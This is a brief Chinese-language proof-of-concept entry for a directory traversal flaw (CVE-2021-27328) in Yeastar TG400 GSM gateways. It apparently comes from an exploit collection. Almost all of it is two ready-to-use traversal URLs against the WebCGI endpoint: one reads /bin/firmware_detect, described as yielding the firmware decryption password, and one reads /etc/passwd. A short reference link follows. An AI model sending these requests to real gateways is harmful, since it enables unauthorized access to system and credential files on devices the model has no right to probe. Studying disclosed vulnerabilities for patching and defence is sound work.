# 朗视TG400 GSM 网关目录遍历 (CVE-2021-27328)
影响版本:
Yeastar TG400 GSM-91.3.0.3
**PoC:**
```bash
获取固件解密密码
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect
/etc/passwd:
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd
```
ref:
https://github.com/SQSamir/CVE-2021-27328